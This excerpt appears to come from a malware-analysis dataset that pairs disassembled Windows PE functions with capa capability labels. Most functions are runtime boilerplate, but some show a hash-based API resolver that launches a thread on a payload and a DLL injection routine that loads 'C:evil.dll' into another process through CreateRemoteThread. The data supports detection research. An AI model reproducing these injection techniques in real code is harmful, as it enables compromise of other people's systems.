joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140004d10
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140004d80
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000b0b4]
mov rbx, rcx
test esi, esi
jle 0x140004eb0
mov rax, qword [0x14000b0b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140004dcb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140004e55
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140004db0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140004ed2
mov rax, qword [0x14000b0b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000b0b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140004eb7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140004e4e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140004e60
add dword [0x14000b0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000b0b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140004e4e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140004dd8
mov rax, qword [0x14000b0b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140005440
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000b120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000b100]
test rbx, rbx
je 0x14000549c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140005493
test rsi, rsi
je 0x140005493
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140005478
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400056b0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400056c8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400056d0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400056e0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000572d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140005724
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000572f
add rax, 0x28
cmp rax, r9
jne 0x140005710
xor eax, eax
ret

Function at 0x140005730
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400057c0
mov rdx, qword [0x1400085d0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400057ae
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400057ae
cmp word [rax + 0x18], 0x20b
jne 0x1400057ae
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400057c0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140005799
add rbx, 0x28
cmp rbx, rdi
je 0x1400057c0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140005790
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400057d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400085d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400057f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400057f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400057f0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000584d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140005844
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400057f0
add rax, 0x28
cmp rax, r9
jne 0x140005830
xor eax, eax
ret

Function at 0x140005850
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400085d0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000586f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140005878
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000586f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140005890
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400085d0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400058b0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400058b8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400058b0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140005900
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400058f7
test rcx, rcx
je 0x1400058b0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1400058e8
xor eax, eax
ret

Function at 0x140005910
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400085d0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000592f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140005938
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140005950
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400085d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140005970
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140005978
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140005970
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140005970
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400059c4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400059d0
add rdx, 0x28
cmp r9, rdx
jne 0x1400059b0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400059e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400085d0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140005a02
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140005a10
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140005a02
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140005a02
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140005a02
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140005a65
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140005a78
add rdx, 0x28
cmp rdx, r10
jne 0x140005a50
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140005a87
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140005a97
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140005a6e
test ecx, ecx
jg 0x140005a80
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001fb0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140008100]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400080e0]
test rbx, rbx
je 0x140002004
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x140001ffb
test r12, r12
je 0x140001ffb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001fe0
lea rcx, [0x140008100]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002340
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x140004360]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x1400023b9
mov rcx, r10
call fcn.140002210
test eax, eax
je 0x1400023b9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x1400023b6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x1400023ad
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x1400023b9
add r8, 0x28
cmp r8, r9
jne 0x140002398
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x140002760
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov r12, qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov r15, qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
lea rdi, [rax + 0x20]
mov r14, qword [rax + 0x20]
mov qword [rsp + 0x48], rdi
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rbp, rcx
movzx r9d, word [r14 + 0x38]
mov r8, qword [r14 + 0x40]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call r12
mov esi, eax
call rdi
mov r8d, esi
mov edx, 8
mov rcx, rax
call r15
movzx r9d, word [r14 + 0x38]
mov r8, qword [r14 + 0x40]
xor edx, edx
mov rbx, rax
xor ecx, ecx
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rax
call r12
mov rcx, rbx
call qword [sym.imp.USER32.dll_CharUpperA]
mov rdx, rbp
mov rcx, rbx
call sub.msvcrt.dll_strstr
mov rsi, qword [sym.imp.KERNEL32.dll_HeapFree]
test rax, rax
je 0x140002847
mov r13, qword [r14 + 0x20]
call rdi
mov r8, rbx
xor edx, edx
mov rcx, rax
call rsi
jmp 0x140002861
call rdi
mov r8, rbx
xor edx, edx
mov rcx, rax
call rsi
mov r14, qword [r14]
cmp qword [rsp + 0x48], r14
jne 0x1400027a2
mov rax, r13
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140002880
Capabilities:
Create thread
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
xor esi, esi
mov rbp, rcx
lea rcx, str.KERNEL32.DLL
mov rbx, rdx
mov qword [rsp + 0xc0], r8
mov qword [rsp + 0xc8], r9
call fcn.140002760
mov rdi, rax
movsxd rax, dword [rax + 0x3c]
mov eax, dword [rdi + rax + 0x88]
add rax, rdi
mov ecx, dword [rax + 0x20]
mov edx, dword [rax + 0x24]
mov r15d, dword [rax + 0x1c]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x34], eax
lea rax, [rdi + rcx]
mov qword [rsp + 0x38], rax
lea rax, [rdi + rdx]
mov qword [rsp + 0x40], rax
cmp dword [rsp + 0x34], esi
jbe 0x14000294a
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + rsi*4]
add rcx, rdi
mov qword [rsp + 0x48], rcx
call sub.msvcrt.dll_strlen
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
movzx edx, word [rdx + rsi*2]
lea rdx, [rdi + rdx*4]
mov r11d, dword [rdx + r15]
movsxd rdx, eax
add r11, rdi
call fcn.140002a30
cmp eax, 0x9b0723eb
jne 0x140002930
mov r14, r11
jmp 0x140002945
cmp eax, 0x241279c8
je 0x140002942
cmp eax, 0xbced9f0
cmove r12, r11
jmp 0x140002945
mov r13, r11
inc rsi
jmp 0x1400028e8
mov dword [rsp + 0x5c], 4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, rbx
xor edx, edx
mov r9d, 0x3000
mov r15, rax
mov eax, dword [rsp + 0x5c]
mov rcx, r15
mov dword [rsp + 0x20], eax
call r14
mov r9, rbx
mov r8, rbp
mov rcx, r15
mov qword [rsp + 0x20], 0
mov r14, rax
mov rdx, rax
call r13
mov r9, qword [rsp + 0xc8]
mov rdx, rbx
mov rcx, r14
mov r8, qword [rsp + 0xc0]
call fcn.140002a70
mov r9d, dword [rsp + 0xd8]
mov rdx, rbx
mov rcx, r14
mov r8, qword [rsp + 0xd0]
call fcn.140002a70
lea rax, [rsp + 0x5c]
mov r8, rbx
mov rdx, r14
mov rcx, r15
mov qword [rsp + 0x20], rax
mov r9d, 0x20
call r12
lea rax, [rsp + 0x58]
xor r9d, r9d
mov r8, r14
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14000add0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400171f0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400171f0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x14000ae40
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1400de0c4]
mov r12, rcx
test ebx, ebx
jle 0x14000af70
mov rax, qword [0x1400de0c8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x14000ae8c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x14000af13
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x14000ae70
mov rcx, r12
call fcn.14000b7e0
mov rsi, rax
test rax, rax
je 0x14000af92
mov rax, qword [0x1400de0c8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.14000b910
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400de0c8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000af77
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000af0c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000af20
add dword [0x1400de0c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1400de0c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000af0c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000add0
nop dword [rax]
xor ebx, ebx
jmp 0x14000ae97
mov rax, qword [0x1400de0c8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000add0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.14000add0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000b450
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1400de120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400de100]
test rbx, rbx
je 0x14000b4a4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000b49b
test r12, r12
je 0x14000b49b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000b480
lea rcx, [0x1400de120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14000b7e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400b95c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000b800
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000b808
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000b800
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x14000b855
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000b84c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000b800
add rax, 0x28
cmp rax, r9
jne 0x14000b838
xor eax, eax
ret

Function at 0x14000b860
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400b95c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14000b880
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000b888
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000b880
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x14000b910
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400b95c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14000b930
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x14000b938
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x14000bb60
Capabilities:
Allocate thread local storage

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov eax, dword [0x1400de108]
mov edi, ecx
mov rsi, rdx
test eax, eax
jne 0x14000b4e0
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
mov edx, 0x18
mov ecx, 1
call sub.msvcrt.dll_calloc
mov rbx, rax
test rax, rax
je 0x14000b533
mov dword [rax], edi
lea rcx, [0x1400de120]
mov qword [rax + 8], rsi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x1400de100]
lea rcx, [0x1400de120]
mov qword [0x1400de100], rbx
mov qword [rbx + 0x10], rax
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
or eax, 0xffffffff
jmp 0x14000b4d6
push r12
push rbx
sub rsp, 0x28
mov rbx, rcx
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov ecx, eax
cmp eax, 0xffffffff
je 0x14000bb90
mov rdx, r12
mov dword [rbx], eax
add rsp, 0x28
pop rbx
pop r12
jmp 0x140017540
add rsp, 0x28
pop rbx
pop r12
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
test rdx, rdx
jne 0x140017550
xor eax, eax
ret
jmp 0x14000b4c0

Function at 0x14000bbd0
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
sub rsp, 0x28
mov r12d, ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, r12d
mov r13d, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, r13d
mov r12, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, r12
add rsp, 0x28
pop r12
pop r13
ret

Function at 0x14000bc10
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x14000bc28
xor eax, eax
add rsp, 0x28
ret
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
Function at 0x140073dd0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
jmp 0x140073df7
call rbp
cmp dword [rax], 4
jne 0x140073e14
mov rcx, rdi
call fcn.140073bf0
mov r8d, ebx
mov rdx, rsi
mov ecx, eax
call sub.msvcrt.dll__read
movsxd r12, eax
cmp eax, 0xffffffff
je 0x140073df0
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400af4c0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x40
mov rbx, rdx
call fcn.14000abb0
lea rcx, str.Kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.LoadLibraryA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 8]
mov rsi, rax
call sub.msvcrt.dll_atoi
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r8d, dword [0x1400b3f80]
mov r12, rax
mov r9d, 0x3000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, r12
mov qword [rsp + 0x20], 0
mov r9d, dword [0x1400b3f80]
mov rbx, rax
lea r8, str.C:evil.dll
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, r12
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
lea rcx, str._nenumerate_modules...__n
call fcn.140017aa0
xor r8d, r8d
lea rdx, [0x140017560]
mov rcx, r12
call qword [sym.imp.dbghelp.dll_EnumerateLoadedModules64]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x40
pop rbx
pop rsi
pop r12
ret
Function at 0x1400039b0
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
push r14
push r15
sub rsp, 0x48
xor r15d, r15d
lea rcx, str.C:Windows_system32_rdpnnp.xml
mov rdi, r8
mov qword [rsp + 0x30], r15
mov r14, rdx
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov dword [rsp + 0x20], 3
lea r8d, [r15 + 1]
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140003a0c
xor al, al
add rsp, 0x48
pop r15
pop r14
pop rdi
pop rsi
ret
lea rdx, [rsp + 0x88]
mov qword [rsp + 0x40], rbp
mov rcx, rsi
mov qword [rsp + 0x88], r15
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ebp, dword [rsp + 0x88]
mov ecx, 0x40
mov edx, ebp
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [r14], rax
test rax, rax
jne 0x140003a61
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x40]
xor al, al
add rsp, 0x48
pop r15
pop r14
pop rdi
pop rsi
ret
mov qword [rsp + 0x78], rbx
mov ebx, ebp
mov dword [rdi], r15d
test ebp, ebp
jle 0x140003a9e
nop
mov rdx, qword [r14]
lea r9, [rsp + 0x70]
mov r8d, ebx
mov dword [rsp + 0x70], r15d
mov rcx, rsi
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x70]
test eax, eax
je 0x140003a9e
add dword [rdi], eax
sub ebx, eax
test ebx, ebx
jg 0x140003a70
mov rcx, rsi
mov rbx, qword [rsp + 0x78]
cmp dword [rdi], ebp
je 0x140003acb
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbp, qword [rsp + 0x40]
xor al, al
add rsp, 0x48
pop r15
pop r14
pop rdi
pop rsi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x40]
mov al, 1
add rsp, 0x48
pop r15
pop r14
pop rdi
pop rsi
ret

Function at 0x140003d80
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov edi, r8d
mov dword [rsp + 0x28], 0x80
mov rsi, rdx
mov dword [rsp + 0x68], 0
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
test rax, rax
je 0x140003dfa
lea r9, [rsp + 0x68]
mov qword [rsp + 0x20], 0
